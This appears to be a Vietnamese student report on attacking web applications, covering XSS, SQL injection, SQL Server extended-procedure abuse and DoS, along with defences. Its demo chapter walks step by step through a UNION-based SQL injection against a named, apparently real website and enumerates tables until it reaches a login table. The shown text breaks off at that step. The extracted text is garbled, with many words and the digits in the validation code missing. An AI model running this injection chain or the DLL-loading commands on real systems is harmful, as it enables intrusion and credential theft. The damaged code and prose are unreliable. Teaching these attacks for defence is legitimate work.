1. Trang chủ
  2. » Giáo Dục - Đào Tạo

Tấn công web và ứng dụng

56 94 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 56
Dung lượng 2,69 MB

Nội dung

Tấn công Web ứng dụng MỤC LỤC CHƢƠNG I: TỔNG QUAN VỀ WEB VÀ ỨNG DỤNG 1.1 KIẾN TRÚC VÀ HOẠT ĐỘNG CỦA ỨNG DỤNG WEB 1.1.1 Khái niệm 1.1.2 Kiến trúc ứng dụng web 1.1.3 Mô tả hoạt động CHƢƠNG II: CÁC ĐIỂM YẾU AN NINH ỨNG DỤNG WEB THƢỜNG GẶP 2.1 Dữ liệu đầu vào không kiểm tra 2.2 Lỗi kiểm soát truy cập nguồn tài nguyên 10 2.3 Lỗi liên quan đến trình quản lý xác thực phiên truy cập 11 2.4 Lỗi Cross Site Scripting (XSS) 12 2.5 Lỗi tràn đệm 13 2.6 Lỗi Injection 14 2.7 Quy trình quản lý báo lỗi 15 2.8 Lưu trữ thiếu an toàn 16 2.9 Từ chối dịch vụ 17 2.10 Quản lý cấu hình thiếu an toàn 18 CHƢƠNG III: PHÂN LOẠI CÁC TẤN CÔNG WEB VÀ ỨNG DỤNG 20 3.1 Tấn công máy chủ Web 20 3.2 Tấn công lỗ hổng liên quan đến vấn đề quản trị Web 20 3.3 Tấn công dựa lỗ hổng tầng ứng dụng Web 20 CHƢƠNG IV: MỘT SỐ TẤN CÔNG VÀO CÁC ĐIỂM YẾU QUAN TRỌNG 22 4.1 LỖI CROSS SITE SCRIPTING (XSS) 22 4.1.1 Mô tả việc khai thác 22 4.1.2 Phương pháp công XSS truyền thống 24 4.1.3 Tấn công XSS Flash 24 4.1.4 Tấn công chiếm phiên làm việc 27 4.1.4.1 Tổng quan SessionID 27 a Ấn định phiên làm việc 27 b Đánh cắp phiên làm việc 28 4.1.4.2 Tấn công Session ID tham số URL 29 4.1.5 Phòng chống 29 4.2 LỖI INJECTION 30 AT6A-Học viện kỹ thuật mật mã Page Tấn công Web ứng dụng 4.2.1 Khái niệm SQL Injection 30 4.2.2 Giới thiệu mô hình sở liệu 30 4.2.3 Kỹ thuật công 31 4.2.3.1 Sử dụng ký tự đặc biệt 31 4.2.3.2 Tấn công dưa vào câu lệnh SELECT 32 4.2.3.3 Tấn công dựa vào câu lệnh HAVING 34 4.2.3.4 Tấn công dựa vào câu lệnh kết hợp UNION 35 4.2.3.5 Tấn công dưa vào lệnh INSERT 38 4.2.4 Kỹ thuật công nâng cao 38 4.2.4.1 Chuỗi kí tự dấu nháy đơn 38 4.2.4.2 Tấn công tầng 39 4.2.4.3 Tránh kiểm soát 41 4.2.4.4 Dùng Extended Stored Procedure 41 4.2.5 Cách phòng chống 42 4.2.5.1 Kiểm tra liệu 43 4.2.5.2 Khoá chặt SQL Server (SQL Server Lockdown) 45 4.3 LỖI TỪ CHỐI DỊCH VỤ 46 4.3.1 Khái niệm 46 4.3.2 Các cách thức công DoS 46 4.3.2.1 Thông qua kết nối 46 4.3.2.2 Lợi dụng nguồn tài nguyên nạn nhân để công 47 4.3.2.3 Sử dụng băng thông 47 4.3.2.4.Sử dụng nguồn tài nguyên khác 48 4.3.3 Các cách phòng chống 49 CHƢƠNG V: DEMO, ĐÁNH GIÁ VÀ HƢỚNG PHÁT TRIỂN ĐỀ TÀI 50 5.1 Demo 50 5.1.1 Trang Web bị công 50 5.1.2 Quá trình công 50 5.1.3 Kết 54 5.2 Kết luận 50 5.2.1 Các vấn đề đạt 55 5.2.2 Hạn chế 55 5.2.3 Hướng phát triển đề tài 55 TÀI LIỆU THAM KHẢO 56 AT6A-Học viện kỹ thuật mật mã Page Tấn công Web ứng dụng CHƢƠNG I: TỔNG QUAN VỀ WEB VÀ ỨNG DỤNG 1.1 KIẾN TRÚC VÀ HOẠT ĐỘNG CỦA ỨNG DỤNG WEB 1.1.1 Khái niệm Dưới góc độ kỹ thuật, Web định nghĩa môi trường có khả thực thi chương trình cao, cho phép tạo tùy biến triển khai trực tiếp lượng lớn ứng dụng tới đa người dùng Hai thành phần quan trọng website trình duyệt Web linh hoạt ứng dụng Web Web browser (trình duyệt web) ứng dụng phần mềm cho phép người dùng truy vấn liệu tương tác với nội dung nằm trang Web bên website Ứng dụng Web ứng dụng chủ/khách sử dụng giao thức HTTP để tương tác với người dùng hay hệ thống khác Ứng dụng web chia thành hai loại chính: ứng dụng web Public ứng dụng web Private  Ứng dụng web Public: website dùng để quảng bá thông tin, cung cấp trao đổi thông tin với với bên website thương mại điện tử, website công ty chứng khoán, ngân hàng,…  Ứng dụng web Private: website cung cấp trao đổi thông tin tổ chức, doanh nghiệp đối tác chiến lược… Các website thường dùng để cung cấp thông tin cho văn phòng, chi nhánh, nhân viên công tác làm việc nhà cho đối tác chiến lược kết nối qua môi trường internet Web Server (máy chủ web) máy chủ có dung lượng lớn, tốc độ cao, dùng để chứa website thiết kế với thông tin liên quan khác (các mã Script, chương trình, file Multimedia), Web Server có khả gửi đến máy khách trang Web thông qua môi trường Internet (hoặc Intranet) qua giao thức HTTP - giao thức thiết kế để gửi file đến trình duyệt Web giao thức khác Các trang Web cho phép người dùng lấy xuống nội dung động cá nhân hóa theo thiết lập tham chiếu riêng Hơn chúng chạy script máy khách, ―thay đổi‖ trình duyệt Internet thành giao diện cho ứng dụng thư điện tử, phần mềm ánh xạ tương tác (Yahoo Mail, Google Maps) AT6A-Học viện kỹ thuật mật mã Page Tấn công Web ứng dụng Quan trọng website ngày cho phép đóng gói, xử lý, lưu trữ truyền tải liệu khách hàng nhạy cảm (như thông tin cá nhân, mã số thẻ tín dụng, thông tin bảo mật xã hội …) dùng dùng định kỳ sau Và, điều thực qua ứng dụng Web Đó thành phần webmail (thư điện tử), trang đăng nhập, chương trình hỗ trợ mẫu yêu cầu sản phẩm hay hoạt động mua bán, hệ thống quản lý nội dung, phát triển website đại, cung cấp cho doanh nghiệp phương tiện cần thiết để liên lạc với khách hàng tương lai khách hàng Dưới góc độ chức năng, ứng dụng Web chương trình máy tính cho phép người dùng website đăng nhập, truy vấn vào/ra liệu qua mạng Internet trình duyệt Web yêu thích họ Dữ liệu gửi tới người dùng trình duyệt theo kiểu thông tin động (trong định dạng cụ thể, với HTML dùng CSS) từ ứng dụng Web qua Web Server Các ứng dụng Web truy vấn máy chủ chứa nội dung (chủ yếu sở liệu lưu trữ nội dung) tạo tài liệu Web động để phục vụ yêu cầu máy khách (chính người dùng website) Tài liệu tạo kiểu định dạng tiêu chuẩn hỗ trợ tất trình duyệt (như HTML, XHTML) JavaScript dạng script client-side cho phép yếu tố động có trang (như thay đổi ảnh lần người dùng di chuột tới) Nó dịch chạy tất script, lệnh… hiển thị trang web nội dung yêu cầu Wikipedia, bách khoa toàn thư trực tuyến lớn giới định nghĩa Web browser ―máy khách chung cho ứng dụng web‖ Một cải tiến đáng kể khác trình xây dựng trì ứng dụng Web chúng hoạt dộng mà không cần quan tâm đến hệ điều hành hay trình duyệt chạy máy client Ứng dụng Web triển khai nơi có Internet, hầu hết không đòi hỏi yêu cầu cài đặt cho người dùng cuối Một số ví dụ Web application:  CMS (Content Management System) Hệ quản trị nội dung, gọi hệ thống quản lý nội dung phần mềm để tổ chức tạo môi trường cộng tác thuận lợi nhằm mục đích xây dựng hệ thống tài liệu loại nội dung khác cách thống  Web mail (Web-based Emails) giao diện web, thiết kế cho phép truy cập email máy chủ từ đâu giới thông qua web (sử dụng trình duyệt) Giao thức IMAP giúp WebMail thực việc Web mail cho phép thực nhiều chức như: soạn thư, gửi thư, lịch làm việc… AT6A-Học viện kỹ thuật mật mã Page Tấn công Web ứng dụng  Shopping Carts loại ứng dụng web dùng cho việc mua sắm trực tuyến, Các shopping cart không yêu cầu phần mềm giao dịch an toàn Chúng thực tế phần site ảo để bán hàng trực tuyến, Các shopping cart sử dụng cookie để xác định danh sách sản phẩm mà khách hàng chọn mua Có hai cách mà công ty thiết lập cookie Cách thứ lưu giao dịch shopping cart vào cookie máy tính khách hàng Cách thứ hai gắn ID khách hàng lưu ID cookie  Portal hay cổng thông tin điện tử hiểu trang web xuất phát mà từ người sử dụng dễ dàng truy xuất trang web dịch vụ thông tin khác mạng máy tính Lợi ích lớn mà portal đem lại tính tiện lợi, dễ sử dụng, Thay phải nhớ vô số địa khác cho mục đích sử dụng khác nhau, với web portal Yahoo, người dùng cần nhớ yahoo.com Hiện Việt nam, quan nhà nước, công ty sử dụng loại ứng dụng web Một vài Portal tiêu biểu như:  Portal Mobifone: http://www.mobifone.com.vn/web/vn/  Hay Portal phủ: http://www.chinhphu.vn/portal/page?_pageid=33,1&_dad=portal&_ schema=PORTAL  Và nhiều ứng dụng web khác 1.1.2 Kiến trúc ứng dụng web Hình bên minh họa chi tiết mô hình ứng dụng Web ba lớp Lớp Presentation layer trình duyệt Web giao diện người dùng Lớp thứ hai Business logic layer công nghệ kỹ thuật tạo nội dung động Java servlets (JSP) hay Active Server Pages (ASP) Còn lớp thứ ba Data access layer-cơ sở liệu chứa nội dung (như tin tức) liệu người dùng (như username, password, mã số bảo mật xã hội, chi tiết thẻ tín dụng) AT6A-Học viện kỹ thuật mật mã Page Tấn công Web ứng dụng Hình Kiến trúc lớp web application  Lớp trình bày (Prensentation layer): Gồm thành phần giao diện đồ họa người dùng (GUI) chuẩn giúp hiển thị liệu cho người dùng, có thêm ứng dụng tạo bố cục cho trang web Nó phải hoạt động với lớp business logic để xử lý việc truyền liệu cho người dùng xem sử dụng Lớp nói chuyện trực tiếp với lớp liệu Data layer  Lớp ứng dụng(Bussiness logic layer): Là nơi xử lý ứng dụng Web Nó xử lý thông tin người dùng yêu cầu, đưa định, gửi kết đến―lớp trình bày‖ Lớp thường cài đặt kỹ thuật lập trình CGI, Java, NET, PHP, triển khai trình chủ Apache, IIS  Lớp liệu (Data access layer): Thường hệ quản trị liệu (DBMS) chịu trách nhiệm quản lý file liệu quyền sử dụng Lớp optional (ứng dụng đơn giản tier này), hoạt động với liệu truy cập đến liệu Ví dụ lớp này:  Microsoft SQL Server  Oracle Database Server  MySQL Server  OpenLDAP AT6A-Học viện kỹ thuật mật mã Page Tấn công Web ứng dụng 1.1.3 Mô tả hoạt động Đầu tiên trình duyệt gửi yêu cầu (request) đến trình chủ Web thông qua lệnh GET, POST… giao thức HTTP, trình chủ lúc cho thực thi chương trình xây dựng từ nhiều ngôn ngữ Perl, C/C++… trình chủ yêu cầu diễn dịch thực thi trang ASP, JSP… theo yêu cầu trình khách Hình Kiến trúc n lớp web application Tùy theo tác vụ chương trình cài đặt mà xử lý, tính toán, kết nối đến sở liệu, lưu thông tin trình khách gửi đến…và từ trả cho trình khách luồng liệu có định dạng theo giao thức HTTP, gồm phần:  Header mô tả thông tin gói liệu thuộc tính, trạng thái trao đổi trình duyệt WebServer  Body phần nội dung liệu mà Server gửi Client, file HTML, hình ảnh, đoạn phim hay văn Với firewall, luồng thông tin trình chủ trình khách luồng thông tin hợp lệ Vì thế, hacker tìm thấy vài lỗ hổng ứng dụng Web firewall không hữu dụng việc ngăn chặn hacker Do đó, kĩ thuật công vào hệ thống mạng ngày dần tập trung vào sơ suất (hay lỗ hổng) trình tạo ứng dụng nhà phát triển Web công trực tiếp vào hệ thống mạng, hệ điều hành Tuy nhiên, hacker lợi dụng lỗ hổng Web để mở rộng công vào hệ thống không liên quan khác AT6A-Học viện kỹ thuật mật mã Page Tấn công Web ứng dụng CHƢƠNG II: CÁC ĐIỂM YẾU AN NINH ỨNG DỤNG WEB THƢỜNG GẶP Theo thống kê gần tổ chức uy tín Gartner Group, đến 75% công thành công dựa lỗ hổng ứng dụng web Các điểm yếu tập trung vào ứng dụng web ngày đa dạng, theo thống kê tuần có 30 vá cho lỗ hổng bảo mật phát Nguy bị công từ chối dịch vụ (DoS, DDoS) làm cho hệ thống không khả phục vụ yêu cầu đáng, nguy bị thay đổi nội dung trang web làm giảm uy tín và/hoặc bôi nhọ tổ chức, nguy bị kẻ xấu làm sai lệch thông tin thực giao dịch điện tử môi trường internet, nguy bị đánh cắp thông tin nhạy cảm như: thông tin tài khoản, mật truy cập hệ thống thông tin thẻ tín dụng,…vì việc bảo vệ bảo mật cho trang web trực tuyến quan trọng Trong phần đề tài em muốn phân tích điểm yếu an ninh dựa vào thống kê điểm yếu an ninh thường gặp tổ chức OWASP đưa ra, qua đưa giải pháp khắc phục nhằm làm giảm rủi ro bị hacker công 2.1 Dữ liệu đầu vào không đƣợc kiểm tra Ứng dụng Web sử dụng liệu đầu vào truy cập HTTP (hoặc tập tin) nhằm xác định kết phản hồi Tin tặc sửa đổi phần truy xuất HTTP, bao gồm URL, querystring, headers, cookies, form fields, chí field ẩn (hidden fields), nhằm vượt qua chế bảo mật Các công phổ biến dạng bao gồm:  Chạy lệnh hệ thống tùy chọn  Cross site scripting  Lỗi tràn đệm  Tấn công Format string  SQL injection  Cookie poisoning  Sửa đổi field ẩn AT6A-Học viện kỹ thuật mật mã Page Tấn công Web ứng dụng Một số Web site bảo vệ chống lại loại công cách thiết lập lọc liệu đầu vào Vấn đề nan giải có nhiều cách để mã hóa (encode) liệu, phương cách mã hóa không giống cách mã hóa thông thường khác chỗ dễ dàng giải mã Tuy vậy, nhà lập trình viên thường quên giải mã tất tham số trước sử dụng chúng Tham số cần phải chuyển đổi đến dạng đơn giản trước kiểm tra, không, liệu xấu đầu vào mã hóa ẩn vượt qua tầng bảo vệ module kiểm tra liệu Một số lượng lớn ứng dụng sử dụng chế lọc phía trình duyệt để kiểm tra liệu đầu vào Các chế kiểm tra phía trình duyệt dễ dàng vượt qua, ứng dụng web xem không bảo vệ chế Tin tặc tạo truy xuất HTTP không thông qua trình duyệt cách sử dụng công cụ telnet, truy xuất thẳng đến cổng 80 máy chủ web Kiểm tra liệu phía máy trình duyệt có lợi điểm hiệu suất tính dễ sử dụng, nhiên chế không cung cấp lợi điểm bảo mật Kiểm tra liệu phía server đóng vai trò thiết yếu việc ngăn cản công dạng sửa đổi tham số đầu vào Khi chế bảo vệ server thiết lập, chế bảo vệ phía trình duyệt sử dụng nhằm giảm bớt dung lượng liệu không hợp lệ đến máy chủ Hình Sử dụng Proxy để thay đổi tham số Hình mô tả phương cách phổ biến hacker sử dụng để công ứng dụng web Trước tiên, hacker thiết lập proxy đứng trình duyệt máy chủ ứng dụng web Proxy có khả chặn gói liệu trước chuyển đến máy chủ, cho phép hacker sửa đổi liệu truy cập chèn mã công trước gửi đến ứng dụng web Những công dạng có xu hướng ngày phổ biến số lượng công cụ hỗ trợ chức tạo tham số bất kỳ, tạo mã công, công brute force ngày tăng Hậu việc sử dụng tham số không kiểm tra không nên xem nhẹ Một số lượng lớn công gây khó khăn AT6A-Học viện kỹ thuật mật mã Page Tấn công Web ứng dụng cho nhà lập trình web họ hệ thống tập trung kiểm tra tính hợp lệ tất truy xuất HTTP 2.2 Lỗi kiểm soát truy cập nguồn tài nguyên Kiểm soát truy cập tài nguyên (authorization), chế mà ứng dụng web cho phép truy cập đến nội dung, tính ứng dụng cho số người sử dụng từ chối truy cập cho số người sử dụng khác Những kiểm tra thực sau trình xác thực, quản lý quyền truy cập mà người sử dụng phép Kiểm soát truy cập bề tưởng chừng vấn đề đơn giản thực tế vấn đề khó thi hành đầy đủ Một mô hình quản lý truy cập tài nguyên cho ứng dụng web cần thiết kế theo sát nội dung hàm chức web site cung cấp Hình Quản lý kiểm soát truy cập tài nguyên trung tâm Để mô tả rõ lỗi bảo mật này, em xin đưa ví dụ dạng công vào trang web portal cho công ty cung cấp dịch vụ trực tuyến cho thuê bao điện thoại di động Thường loại web portal cung cấp cho người sở hữu thuê bao tài khoản trang web cung cấp dịch vụ sau:  Cho phép người sử dụng phép gửi tin nhắn không tốn tiền đến thuê bao mạng AT6A-Học viện kỹ thuật mật mã Page 10 Tấn công Web ứng dụng Liệt kê nguồn liệu ODBC server Phát thông tin kiểu an ninh server Cho phép người dùng tạo file nén server (hoặc xp _makecab file mà server truy nhập) xp _ntsec_enumdomains Liệt kê domain mà server truy nhập Dùng Extended Stored Procedure tự tạo xp _enumdsn xp _loginconfig Extended stored procedure API chương trình có nhiệm vụ đơn giản tạo DLL extended stored porcedure chứa đựng đoạn mã nguy hiểm Để đưa tập tin DLL lên Server dùng câu lệnh, kĩ thuật giao tiếp khác thực tự động, HTTP download FTP script Một tập tin DLL tồn máy chủ, hacker tạo extended stored procedure dòng lệnh sau : sp_addextendedproc „xp_webserver‟, „c:\temp\xp_foo.dll‟ Sau thực thi thực thi extended stored procedure thông thường : exec xp_webserver Khi thực xong, xoá lệnh sau: sp_dropextendedproc „xp_webserver‟ Nhập tập tin văn vào bảng Dùng lệnh ‗bulk insert‘, nhập liệu từ tập tin văn vào bảng tạm thời tạo bảng đơn giản sau: create table foo (line varchar(8000)) Sau chạy câu lệnh bulk insert để chép liệu từ tập tin vào bảng bulk insert foo from „c:\inetpub\wwwroot\process_login.asp‟ Nội dung trang process_login.asp lấy 4.2.5 Cách phòng chống Trong hầu hết trình duyệt, kí tự nên mã hoá địa URL trước sử dụng AT6A-Học viện kỹ thuật mật mã Page 42 Tấn công Web ứng dụng Việc công theo SQL Injection dựa vào câu thông báo lỗi việc phòng chống hay không cho hiển thị thông điệp lỗi cho người dùng cách thay lỗi thông báo trang người phát triển thiết kế lỗi xảy ứng dụng Kiểm tra kĩ giá trị nhập vào người dùng, thay kí tự ‗ ; v v Hãy loại bỏ kí tự meta ―',",/,\,;― kí tự extend NULL, CR, LF, string nhận từ:  liệu nhập người dùng đệ trình  tham số từ URL  giá trị từ cookie Đối với giá trị numeric, chuyển sang integer trước thực câu truy vấn SQL, dùng ISNUMERIC để chắn số integer Dùng thuật toán để mã hoá liệu 4.2.5.1 Kiểm tra liệu Kiểm tra tính đắn liệu vấn đề phức tạp thường chưa quan tâm mức ứng dụng Khuynh hướng việc kiểm tra tính đắn liệu cần thêm số chức vào ứng dụng, mà phải kiểm tra cách tổng quát nhanh chóng để đạt mục đích Những tóm tắt sau trình bày việc kiểm tra tính đắn liệu, với ví dụ mẫu để minh hoạ cho vấn đề Có ba giải pháp tiếp cận vấn đề này: Cố gắng kiểm tra chỉnh sửa để làm cho liệu hợp lệ Loại bỏ liệu bất hợp lệ Chỉ chấp nhận liệu hợp lệ  Giải pháp 1: khó thực  Thứ nhất, người lập trình không cần thiết phải biết tất liệu bất hợp lệ, dạng liệu bất hợp lệ đa dạng  Thứ hai, vấn đề trường hợp bị công tầng (second-oder SQL injection) việc lấy liệu từ hệ thống  Giải pháp 2: bị vô hiệu trường hợp giải pháp :Dữ liệu bất hợp lệ luôn thay đổi với việc phát triển kiểu công AT6A-Học viện kỹ thuật mật mã Page 43 Tấn công Web ứng dụng  Giải pháp 3: tốt hai giải pháp kia, gặp số hạn chế cài đặt Cách bảo mật tốt kết hợp giải pháp Một ví dụ cho cần thiết kết hợp 2-3 dấu nối họ tên ―Quentin Bassington-Bassington‖ phải cho phép dấu gạch ngang định nghĩa liệu hợp lệ, chuỗi kí tự ― ― chuỗi kí tự đặc biệt SQL server Ví dụ có lọc để :  Lọc bỏ liệu bất hợp lệ ‗ ‗,‘select‘ ‗union‘  Một hàm kiểm soát để loại bỏ dấu nháy đơn đối phó sau: uni‟on se‟lect @@version-„Một số cách cài đặt chức kiểm tra liệu  Cách 1: Thay dấu nháy đơn: function escape( input ) input = replace(input, "'", "''") escape = input end function  Cách 2: Từ chối liệu bất hợp lệ function validate_string( input ) known_bad = array( "select", "insert", "update", "delete", "drop"," ", "'" ) validate_string = true for i = lbound( known_bad ) to ubound( known_bad ) if ( instr( 1, input, known_bad(i), vbtextcompare ) ) then validate_string = false exit function AT6A-Học viện kỹ thuật mật mã Page 44 Tấn công Web ứng dụng end if next end function  Cách 3: Chỉ chấp nhận liệu hợp lệ function validatepassword( input ) good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ0123456789" validatepassword = true for i = to len( input ) c = mid( input, i, ) if ( InStr( good_password_chars, c ) = ) then validatepassword = false exit function end if next end function 4.2.5.2 Khoá chặt SQL Server (SQL Server Lockdown) Đây danh sách công việc cần làm để bảo vệ SQL server:  Xác định phương pháp kết nối đến server:Dùng tiện ích Network Utility để kiểm tra có thư viện mạng dùng hoat động  Kiểm tra tất tài khoản có SQL Server  Chỉ tạo tài khoản có quyền thấp cho ứng dụng  Loại bỏ tài khoản không cần thiết  Đảm bảo tất tài khoản có mật hợp lệ, …  Kiểm tra đối tượng tồn AT6A-Học viện kỹ thuật mật mã Page 45 Tấn công Web ứng dụng      Nhiều extended stored procedure xoá bỏ cách an toàn Nếu điều thực hiện, nên xem xét việc loại bỏ tập tin dll chứa mã extended stored procedure  Xoá bỏ tất sở liệu mẫu ―northwind‖ ―pubs‖  Xóa stored procedure không dùng như: master xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask Kiểm tra tài khoản truy xuất đến đối tượng  Đối với tài khoản ứng dụng dùng để truy xuất sở liệu cấp quyền hạn cần thiết tối thiểu để truy xuất đến đối tượng cần dùng Kiểm tra lớp sửa chữa server  Có số cách công ―buffer overflow‖, ―format string‖ thường ý đến lớp bảo vệ Kiểm tra phiên làm việc server Thay đổi "Startup chạy SQL Server" mức người dùng quyền hạn thấp SQL Server Security 4.3 LỖI TỪ CHỐI DỊCH VỤ 4.3.1 Khái niệm Tấn công từ chối dịch vụ DoS (Denial of Service) mô tả hành động ngăn cản người dùng hợp pháp khả truy cập sử dụng vào dịch vụ Nó bao gồm làm tràn ngập mạng, kết nối với dịch vụ… mà mục đích cuối máy chủ (Server) đáp ứng yêu cầu sử dụng dịch vụ từ máy trạm (Client) DoS làm ngưng hoạt động máy tính, mạng nội bộ, chí hệ thống mạng lớn Về chất thực DoS, kẻ công chiếm dụng lượng lớn tài nguyên mạng băng thông, nhớ… làm khả xử lý yêu cầu dịch vụ từ client khác 4.3.2 Các cách thức công DoS Phá hoại dựa tính giới hạn phục hồi tài nguyên mạng 4.3.2.1 Thông qua kết nối  Tấn công kiểu SYN flood Lợi dụng cách thức hoạt động kết nối TCP/IP, hacker bắt đầu trình thiết lập kết nối TPC/IP tới mục tiêu muốn công mà không gửi trả gói tin ACK, khiến cho mục tiêu rơi vào trạng thái chờ (đợi gói tin ACK từ phía yêu cầu thiết lập kết nối) liên tục gửi gói tin SYN ACK để thiết lập kết nối Một cách khác giả mạo địa AT6A-Học viện kỹ thuật mật mã Page 46 Tấn công Web ứng dụng IP nguồn gói tin yêu cầu thiết lập kết nối SYN trường hợp trên, máy tính đích rơi vào trạng thái chờ gói tin SYN ACK đến đích địa IP nguồn thật Kiểu công SYN flood hacker áp dụng để công hệ thống mạng có băng thông lớn hệ thống hacker Hình 12 Bắt tay bước TCP 4.3.2.2 Lợi dụng nguồn tài nguyên nạn nhân để công  Kiểu công Land Attack Kiểu công Land Attack tương tự SYN flood, hacker sử dụng IP mục tiêu cần công để dùng làm địa IP nguồn gói tin, đẩy mục tiêu vào vòng lặp vô tận cố gắng thiết lập kết nối với  Kiểu công UDP flood Hacker gửi gói tin UDP echo với địa IP nguồn cổng loopback mục tiêu cần công máy tính mạng Với mục tiêu sử dụng cổng UDP echo (port 7) để thiết lập việc gửi nhận gói tin echo máy tính (hoặc mục tiêu với mục tiêu có cấu hình cổng loopback), khiến cho máy tính sử dụng hết băng thông chúng, cản trở hoạt động chia sẻ tài nguyên mạng máy tính khác mạng 4.3.2.3 Sử dụng băng thông  Tấn công kiểu DDoS (Distributed Denial of Service) Đây cách thức công nguy hiểm Hacker xâm nhập vào hệ thống máy tính, cài đặt chương trình điều khiển từ xa, kích hoạt đồng thời chương trình vào thời điểm để đồng loạt công vào mục tiêu Với DDoS, hacker huy động tới hàng trăm chí hàng ngàn máy tính tham gia công thời điểm (tùy vào chuẩn bị trước hacker) "ngốn" hết băng thông mục tiêu nháy mắt AT6A-Học viện kỹ thuật mật mã Page 47 Tấn công Web ứng dụng Hình 13 Tấn công DDoS 4.3.2.4.Sử dụng nguồn tài nguyên khác Kẻ công lợi dụng nguồn tài nguyên mà nạn nhân cần sử dụng để công Những kẻ công thay đổi liệu tự chép liệu mà nạn nhân cần lên nhiều lần, làm CPU bị tải trình xử lý liệu bị đình trệ  Tấn công kiểu Smurf Attack Kiểu công cần hệ thống quan trọng, mạng khuyếch đại Hacker dùng địa máy tính cần công cách gửi gói tin ICMP echo cho toàn mạng (broadcast) Các máy tính mạng đồng loạt gửi gói tin ICMP reply cho máy tính mà hacker muốn công Kết máy tính xử lý kịp thời lượng lớn thông tin dẫn tới bị treo máy Hình 14 Tấn công kiểu Smurf attack  Tấn công kiểu Tear Drop Trong mạng chuyển mạch gói, liệu chia thành nhiều gói tin nhỏ, gói tin có giá trị offset riêng truyền theo nhiều đường khác để tới đích Tại đích, nhờ vào giá trị offset gói tin mà liệu lại kết hợp lại ban đầu Lợi dụng điều này, hacker tạo nhiều gói tin có giá trị offset trùng lặp gửi đến mục tiêu muốn công Kết máy tính đích xếp gói tin dẫn tới bị treo máy bị "vắt kiệt" khả xử lý  Phá hoại chỉnh sửa thông tin cấu hình Lợi dụng việc cấu hình thiếu an toàn việc không xác thực thông tin việc gửi/nhận tin cập nhật (update) router mà kẻ công thay đổi trực tiếp từ xa thông tin quan trọng này, khiến cho người dùng hợp pháp sử dụng dịch vụ AT6A-Học viện kỹ thuật mật mã Page 48 Tấn công Web ứng dụng Ví dụ: hacker xâm nhập vào DNS để thay đổi thông tin, dẫn đến trình biên dịch tên miền (domain) sang địa IP DNS bị sai lệch Hậu yêu cầu máy trạm (Client) tới tên miền khác (đã bị thay đổi) thay tên miền mong muốn  Phá hoại chỉnh sửa phần cứng Lợi dụng quyền hạn thân kẻ công thiết bị hệ thống mạng để tiếp cận phá hoại thiết bị phần cứng router, switch… 4.3.3 Các cách phòng chống Hậu mà DoS gây không tiêu tốn nhiều tiền bạc, công sức mà nhiềuthời gian để khắc phục Vì vậy, sử dụng biện pháp sau để phòng chống DoS:  Mô hình hệ thống cần phải xây dựng hợp lý, tránh phụ thuộc lẫn mức Bởi phận gặp cố làm ảnh hưởng tới toàn hệ thống  Thiết lập mật mạnh (strong password) để bảo vệ thiết bị mạng nguồn tài nguyên quan trọng khác  Thiết lập mức xác thực người sử dụng nguồn tin mạng Đặc biệt, nên thiết lập chế độ xác thực cập nhật thông tin định tuyến router  Xây dựng hệ thống lọc thông tin router, firewall… hệ thống bảo vệ chống lại SYN flood  Chỉ kích hoạt dịch vụ cần thiết, tạm thời vô hiệu hoá dừng dịch vụ chưa có yêu cầu không sử dụng  Xây dựng hệ thống định mức, giới hạn cho người sử dụng, nhằm mục đích ngăn ngừa trường hợp người sử dụng ác ý muốn lợi dụng tài nguyên server để công server mạng server khác  Liên tục cập nhật, nghiên cứu, kiểm tra để phát lỗ hổng bảo mật có biện pháp khắc phục kịp thời  Sử dụng biện pháp kiểm tra hoạt động hệ thống cách liên tục để phát hành động bất bình thường  Xây dựng triển khai hệ thống dự phòng  Xóa kí tự ― > ‖, ― < ‖  Vẫn cho phép nhập kí tự đặc biệt mã hóa theo chuẩn riêng  Đối với người dùng, cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho thực thi ngôn ngữ kịch máy họ hay không? Tùy vào mức độ tin cậy mà người dùng định AT6A-Học viện kỹ thuật mật mã Page 49 Tấn công Web ứng dụng CHƢƠNG V: DEMO, ĐÁNH GIÁ VÀ HƢỚNG PHÁT TRIỂN ĐỀ TÀI 5.1 Demo 5.1.1 Trang Web bị công 5.1.2 Quá trình công  Bƣớc 1: Kiểm tra xem có lỗi không http://www.vsmc.com.vn/news_detail.php?id=19'  Bƣớc 2: Xác định số cột http://www.vsmc.com.vn/news_detail.php?id=19 order by 1-AT6A-Học viện kỹ thuật mật mã Page 50 Tấn công Web ứng dụng http://www.vsmc.com.vn/news_detail.php?id=19 order by 21-http://www.vsmc.com.vn/news_detail.php?id=19 order by 22— có lỗi nên số cột 21  Bƣớc 3: Xác định cột bị lỗi http://www.vsmc.com.vn/news_detail.php?id=-19 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21  Bƣớc 4: Kiểm tra version http://www.vsmc.com.vn/news_detail.php?id=-19 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21  Bƣớc 5: Xác định table CSDL AT6A-Học viện kỹ thuật mật mã Page 51 Tấn công Web ứng dụng http://www.vsmc.com.vn/news_detail.php?id=-19 union select 1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from information_schema.tables  Bƣớc 6: Xem tiếp table có CSDL http://www.vsmc.com.vn/news_detail.php?id=-19 union select 1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from information_schema.tables limit 1,1- Bƣớc 7: Tìm thấy table tbllogin http://www.vsmc.com.vn/news_detail.php?id=-19 union select 1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from information_schema.tables limit 22,1  Bƣớc 8: Xác định trường có table tbllogin AT6A-Học viện kỹ thuật mật mã Page 52 Tấn công Web ứng dụng http://www.vsmc.com.vn/news_detail.php?id=-19 union select 1,2,column_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from information_schema.columns where table_name=char(116,98,108,108,111,103,105,110) Bƣớc 9: Tìm thấy trường "email" http://www.vsmc.com.vn/news_detail.php?id=-19 union select 1,2,column_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from information_schema.columns where table_name=char(116,98,108,108,111,103,105,110) limit 4,1  Bƣớc 10: Tìm thấy trường 